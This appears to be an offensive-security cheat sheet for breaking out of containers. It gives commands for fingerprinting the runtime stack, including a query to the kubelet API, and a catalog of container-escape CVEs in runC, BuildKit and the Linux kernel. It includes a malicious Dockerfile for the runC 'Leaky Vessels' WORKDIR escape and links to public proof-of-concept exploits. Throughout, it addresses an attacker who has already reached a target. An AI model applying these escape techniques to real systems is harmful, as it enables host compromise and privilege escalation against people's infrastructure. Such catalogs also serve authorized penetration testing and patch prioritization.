container-cve

Container-Runtime CVE Catalog

When you've identified a container target, fingerprint the runtime stack, then check this catalog for a working exploit. Newest first.

Fingerprint the stack

# Inside the target container
cat /etc/os-release                  # base image
cat /proc/version                     # host kernel
docker version 2>/dev/null            # if you have client+socket
ctr version 2>/dev/null
runc --version 2>/dev/null
# From kubelet metadata, if accessible:
curl -k https://127.0.0.1:10250/runningpods | jq '.items[0].metadata'

Catalog

CVE-2024-21626 — runC "Leaky Vessels" WORKDIR escape

Affects: runC < 1.1.12, Docker < 25.0.3, containerd < 1.7.13, BuildKit < 0.12.5 Primitive: WORKDIR pointing at /proc/self/fd/N (where N is an open kernel FD) lets the container CWD escape into the host filesystem.

# Build a malicious image
cat > Dockerfile <<'EOF'
FROM scratch
WORKDIR /proc/self/fd/8
COPY pwn /pwn
ENTRYPOINT ["/pwn"]
EOF
# Then run on target. Public PoC: github.com/snyk/leaky-vessels-static-detector

CVE-2024-23651/-23652/-23653 — BuildKit cache mount / RUN --mount escapes

Affects: BuildKit < 0.12.5 Primitive: Crafted Dockerfile uses cache or bind mounts to leak / overwrite host files during docker build.

CVE-2022-0185 — Linux FS context heap overflow

Affects: Linux kernel < 5.16.2 (host kernel — affects every container running on it) Primitive: fsopen() syscall with a too-long string overflows the heap. CAP_SYS_ADMIN required, but trivial if the container has it.

# PoC: github.com/Crusaders-of-Rust/CVE-2022-0185
# Container escape via kernel → host root.

CVE-2019-5736 — runC binary overwrite

Affects: runC < 1.0.0-rc6, Docker < 18.09.2 Primitive: A malicious container can overwrite the runC binary on the host by exploiting how runC re-execs itself when handling docker exec.

# PoC: github.com/feexd/pocs/blob/master/CVE-2019-5736/
# Still alive on old air-gapped + appliance fleets.